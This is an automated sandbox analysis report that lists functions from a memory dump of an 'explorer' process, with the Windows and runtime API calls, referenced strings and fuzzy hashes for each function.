Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocAttributesFile$DintFolderKnownPathTasklstrlen
String ID:
API String ID: 648754141-0
Opcode ID: 92975d3bb36ba0aeba0f1b4d3f486a6c4df3aa1619a9ce175c1827031b21ed49
Instruction ID: a79a482bcf2fb0fa2dca7ce644399299365b40ab355d9acf0684602cc7b50f4f
Opcode Fuzzy Hash: 92975d3bb36ba0aeba0f1b4d3f486a6c4df3aa1619a9ce175c1827031b21ed49
Instruction Fuzzy Hash: 0511BA72128A48C6EB29AF14E58439E77A0F7C875DF401629E6DE87768CF7DC185CB01

Function 011BAD14 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011BAD1E
FlsGetValue.KERNEL32(?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011BAD2C
SetLastError.KERNEL32(?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011BAD84

Part of subcall function 011C074C: Sleep.KERNEL32(?,?,00000000,011BAD47,?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011C0791

FlsSetValue.KERNEL32(?,?,00000000,011BADA3,?,?,?,011B9533,?,?,00000000,011B9D8B), ref: 011BAD58
free.LIBCMT ref: 011BAD7B

Part of subcall function 011BAC5C: _lock.LIBCMT ref: 011BACB0
Part of subcall function 011BAC5C: _lock.LIBCMT ref: 011BACCF

GetCurrentThreadId.KERNEL32 ref: 011BAD6C

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: 8c2eb824bbaec741b9fcf627379a17a0dfd026b0b42dc5b97bdda3fb3bb86d54
Instruction ID: b44352471d23c770c0c69c64c7aba0ebacf59dfc5311abfcdb97d6cca7a046c6
Opcode Fuzzy Hash: 8c2eb824bbaec741b9fcf627379a17a0dfd026b0b42dc5b97bdda3fb3bb86d54
Instruction Fuzzy Hash: 55016235201B4187EB0DAF65E8D83E86262EF88BA9F084228CA2A03390EF3CD445C610

Function 011A7700 Relevance: 9.0, APIs: 6, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 011A5AA0: LocalAlloc.KERNEL32 ref: 011A5ADE
Part of subcall function 011A5AA0: LocalAlloc.KERNEL32 ref: 011A5AFF
Part of subcall function 011A5AA0: wnsprintfW.SHLWAPI ref: 011A5B3F
Part of subcall function 011A5AA0: wnsprintfW.SHLWAPI ref: 011A5B5D
Part of subcall function 011A5AA0: LocalFree.KERNEL32 ref: 011A64D6

_LDint.LIBCPMTD ref: 011A773B
GetFileAttributesW.KERNEL32 ref: 011A775C
LocalFree.KERNEL32 ref: 011A776C
LocalFree.KERNEL32 ref: 011A7777
LocalFree.KERNEL32 ref: 011A7789
LocalFree.KERNEL32 ref: 011A7794

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Allocwnsprintf$AttributesDintFile
String ID:
API String ID: 3933031913-0
Opcode ID: 5a3f21046453fb594ac3c22c22ea46263e7262b2553866b0b6947fcfb57de3b6
Instruction ID: 4a0d7451d04d12ccc6baab982e25b4d8b871113a4ea761344aa72ca8ef3c1426
Opcode Fuzzy Hash: 5a3f21046453fb594ac3c22c22ea46263e7262b2553866b0b6947fcfb57de3b6
Instruction Fuzzy Hash: D901A176128E4482D768EF25E89439A7771F7C8798F400625E69E87668CF7DC685CF00

Function 011BB98C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 011BB9BD

Part of subcall function 011BAD98: _amsg_exit.LIBCMT ref: 011BADAE

_getptd.LIBCMT ref: 011BB9DB
_CallSETranslator.LIBCMT ref: 011BBA23

Part of subcall function 011B88B8: _getptd.LIBCMT ref: 011B88DF

Strings

RCC, xrefs: 011BB9F9
MOC, xrefs: 011BB9F1

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$CallTranslator_amsg_exit
String ID: MOC$RCC
API String ID: 1374396951-2084237596
Opcode ID: a0a0505cb22886c3b0ba542797d601f8fd46d35cc16e9fcaff9154a5669b2d24
Instruction ID: b56089953b6927eaecb7f7e4673625f74b5c9bc653a3ddc5d9b48d7837f00c35
Opcode Fuzzy Hash: a0a0505cb22886c3b0ba542797d601f8fd46d35cc16e9fcaff9154a5669b2d24
Instruction Fuzzy Hash: 9951BD72608AC19ACF38DB19E5D07EDB760FB81B89F494526CB8E47A18DB78C152C704

Function 011A43B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 105synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011A4479
WaitForSingleObject.KERNEL32 ref: 011A44E1
CloseHandle.KERNEL32 ref: 011A4544
CloseHandle.KERNEL32 ref: 011A45D8
VirtualFree.KERNEL32 ref: 011A4683
shutdown.WS2_32 ref: 011A475D
closesocket.WS2_32 ref: 011A4768

Strings

d, xrefs: 011A440E

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWaitclosesocketshutdown
String ID: d
API String ID: 1024630845-2564639436
Opcode ID: 5ab9eb568d4970431e599d71f77821e3a37296d5731ef130ea2c4c62f91cd5f7
Instruction ID: ec013a65c008e2823bcef2bdf9d15e50286d087c3ad3cf1f5f3286024b895580
Opcode Fuzzy Hash: 5ab9eb568d4970431e599d71f77821e3a37296d5731ef130ea2c4c62f91cd5f7
Instruction Fuzzy Hash: D251EA32308A8181EEB8CB48F4E57F5A361E7E4705F821626D68E86BA5EF7CC1958744

Function 011A43FE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011A4479
WaitForSingleObject.KERNEL32 ref: 011A44E1
CloseHandle.KERNEL32 ref: 011A4544
CloseHandle.KERNEL32 ref: 011A45D8
VirtualFree.KERNEL32 ref: 011A4683

Strings

d, xrefs: 011A440E

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: 8552a47e95c20424504c3f48d4cec9fa28fd12cd46a885d93aa6cb29f0a44e10
Instruction ID: 81f010009b82bd3d3e4663b1a2758240d005b6ab37bb9fcbfa098949a95678d9
Opcode Fuzzy Hash: 8552a47e95c20424504c3f48d4cec9fa28fd12cd46a885d93aa6cb29f0a44e10
Instruction Fuzzy Hash: 3E51DA72308E8081EEB8DB49F4E53F56361EBE4701F821626968EC6BA4EF7CC1958644

Function 011A3B29 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 011A3B8F
WaitForSingleObject.KERNEL32 ref: 011A3BEF
CloseHandle.KERNEL32 ref: 011A3C1C
CloseHandle.KERNEL32 ref: 011A3C9E
VirtualFree.KERNEL32 ref: 011A3DAB

Strings

d, xrefs: 011A3B33

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventFreeObjectSingleVirtualWait
String ID: d
API String ID: 971639600-2564639436
Opcode ID: 4ed1b81e74a60f9e53a3f8c8e5f8ff9de3f1677f8acc2fe881c829a5b2298539
Instruction ID: 10e5887adb066c7fe8bf2eb3c7388e12bbd1ad3c6dbe26ae27bd79386108f9c3
Opcode Fuzzy Hash: 4ed1b81e74a60f9e53a3f8c8e5f8ff9de3f1677f8acc2fe881c829a5b2298539
Instruction Fuzzy Hash: 3D41BC32305A0081EE78DB49F8E97B5A3A1F7E8B05F421627A64EC67A4EF3CC6558704

Function 011BB505 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 011BB558
_getptd.LIBCMT ref: 011BB50D

Part of subcall function 011BAD98: _amsg_exit.LIBCMT ref: 011BADAE

_getptd.LIBCMT ref: 011BB5CF
_getptd.LIBCMT ref: 011BB5DB

Strings

csm, xrefs: 011BB58F

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$ExceptionRaise_amsg_exit
String ID: csm
API String ID: 4155239085-1018135373
Opcode ID: e766e2aea064d0c1b3562efb748056da3fd218119ac93273f2242a5b12794b9b
Instruction ID: ff15641e82727dc38842c992366a5fe7bf5e17d9319209c08f095f795b4ceff4
Opcode Fuzzy Hash: e766e2aea064d0c1b3562efb748056da3fd218119ac93273f2242a5b12794b9b
Instruction Fuzzy Hash: 51217E36204741C7DA39DF16E08079EB761FB99B65F414226CF9A03B94CB39D586CB05

Function 011B9030 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 011B903E
malloc.LIBCMT ref: 011B904A

Part of subcall function 011BC7A8: _FF_MSGBANNER.LIBCMT ref: 011BC7D8
Part of subcall function 011BC7A8: HeapAlloc.KERNEL32(?,?,?,011C06FC,?,?,00000000,011C0C0D,?,?,?,011C0CB7,?,?,00000000,011BACB5), ref: 011BC7FD
Part of subcall function 011BC7A8: _callnewh.LIBCMT ref: 011BC816
Part of subcall function 011BC7A8: _errno.LIBCMT ref: 011BC821
Part of subcall function 011BC7A8: _errno.LIBCMT ref: 011BC82C

std::exception::exception.LIBCMT ref: 011B90B7
type_info::_Type_info_dtor.LIBCMT ref: 011B90ED

Strings

bad allocation, xrefs: 011B9087

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _callnewh_errno$AllocHeapType_info_dtormallocstd::exception::exceptiontype_info::_
String ID: bad allocation
API String ID: 1736788397-2104205924
Opcode ID: c96244e9f482b777b6cf6b46924f9183bb55c1782275ffe7a1cfa5c86aa232a5
Instruction ID: 13a3fa40f9b82cceedd4d644f7478e2a24f198967065db269ec838d45e6fa0b4
Opcode Fuzzy Hash: c96244e9f482b777b6cf6b46924f9183bb55c1782275ffe7a1cfa5c86aa232a5
Instruction Fuzzy Hash: 17117971654B4A91EB1CEB15F8D03E863A9EB68788F484125DB8D03764EB7DC286C780

Function 01198F40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56registrymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

RegGetValueW.ADVAPI32 ref: 01198FC8
LocalAlloc.KERNEL32 ref: 01198FE1
RegGetValueW.ADVAPI32 ref: 01199034
LocalFree.KERNEL32 ref: 01199058

Strings

SOFTWARE\%s, xrefs: 01198F62

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: LocalValue$AllocFree_errno_invalid_parameter_noinfo
String ID: SOFTWARE\%s
API String ID: 2638254995-297323700
Opcode ID: a64576311c8b5d010abe15348bb567eed2cf1542a55aacb7b3dbe93d89b8c603
Instruction ID: c13882084957849b9f30baa661a67915ad70851b74a3814c910d6e3629574877
Opcode Fuzzy Hash: a64576311c8b5d010abe15348bb567eed2cf1542a55aacb7b3dbe93d89b8c603
Instruction Fuzzy Hash: 74212A32208B8482EB249B59F49479EB7B4F785798F500229EBDD47BA8DF7EC145CB40

Function 011B5A20 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 011B5A38
GetProcAddress.KERNEL32 ref: 011B5A57
RtlGetVersion.NTDLL ref: 011B5A89

Strings

RtlGetVersion, xrefs: 011B5A4B
NTDLL.DLL, xrefs: 011B5A31

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProcVersion
String ID: NTDLL.DLL$RtlGetVersion
API String ID: 2685220120-196638859
Opcode ID: d8a7b21e71a6d189ec4ae80e8a695536de4575df490812d44e91965eea720e90
Instruction ID: 83c3eac6ed790b71bff54f24c67163d03fa7524c8fe5811e62bbd2b434f13484
Opcode Fuzzy Hash: d8a7b21e71a6d189ec4ae80e8a695536de4575df490812d44e91965eea720e90
Instruction Fuzzy Hash: 6911E936269B8482E768DF14F8843DAB7A1F7C8B44F404529EB8A83768DF7CC555CB84

Function 01195A70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,0119108D), ref: 01195A7B
GetProcAddress.KERNEL32 ref: 01195A9A
FreeLibrary.KERNEL32 ref: 01195ABA

Strings

SetProcessDPIAware, xrefs: 01195A8E
USER32.DLL, xrefs: 01195A74

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetProcessDPIAware$USER32.DLL
API String ID: 145871493-772676101
Opcode ID: 33176821779897759245a29b6f8084905d367a68fd1873ee8b619ed668c400f9
Instruction ID: 15875971b2eb7bb816fd5a1368ef1745be49901ef003c1f8426ac006b313a0e2
Opcode Fuzzy Hash: 33176821779897759245a29b6f8084905d367a68fd1873ee8b619ed668c400f9
Instruction Fuzzy Hash: 40F0A576554B9082E778DB18F88839977B0F7C8798F440615E78E42A68DF7CC298CB58

Function 011AE750 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 011AE769
GetProcAddress.KERNEL32 ref: 011AE779
RtlGetVersion.NTDLL ref: 011AE79F

Strings

RtlGetVersion, xrefs: 011AE76F
NTDLL, xrefs: 011AE762

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID: NTDLL$RtlGetVersion
API String ID: 3310240892-3678323915
Opcode ID: 684692961d127836ff75429e094dc418e1e8dba0610ed999e0bde066ed8978ad
Instruction ID: da3254c1551235c1300a7ee3226949c9759b5a4b3fb2e521323a6ef96c7f2ed7
Opcode Fuzzy Hash: 684692961d127836ff75429e094dc418e1e8dba0610ed999e0bde066ed8978ad
Instruction Fuzzy Hash: C2F07F36644A84C6EB78EB04F8883DAB7A0F388709F800124D78E467A8DF7CC559CF80

Function 011C2C50 Relevance: 7.6, APIs: 5, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 011C2C6B

Part of subcall function 011C046C: _errno.LIBCMT ref: 011C0475
Part of subcall function 011C046C: _invalid_parameter_noinfo.LIBCMT ref: 011C0480

_errno.LIBCMT ref: 011C2C7B
_errno.LIBCMT ref: 011C2C99
_isatty.LIBCMT ref: 011C2CFA
_getbuf.LIBCMT ref: 011C2D06

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _errno$_fileno_getbuf_invalid_parameter_noinfo_isatty
String ID:
API String ID: 2574049805-0
Opcode ID: d89ba17164b057e40e0230c8c0e126811be590dc0c1f6fea6b6467d498727db7
Instruction ID: b37788867bdbf5e581f6c4f2525a4760bc1e07aa25fc060362069e3f52c77d84
Opcode Fuzzy Hash: d89ba17164b057e40e0230c8c0e126811be590dc0c1f6fea6b6467d498727db7
Instruction Fuzzy Hash: 7141A1B2200B4187DB2C9F2DD48136D7761EBB4FA8F158229DA65473E8EB79C851C781

Function 011B9A64 Relevance: 7.6, APIs: 5, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 011B9A81

Part of subcall function 011C046C: _errno.LIBCMT ref: 011C0475
Part of subcall function 011C046C: _invalid_parameter_noinfo.LIBCMT ref: 011C0480

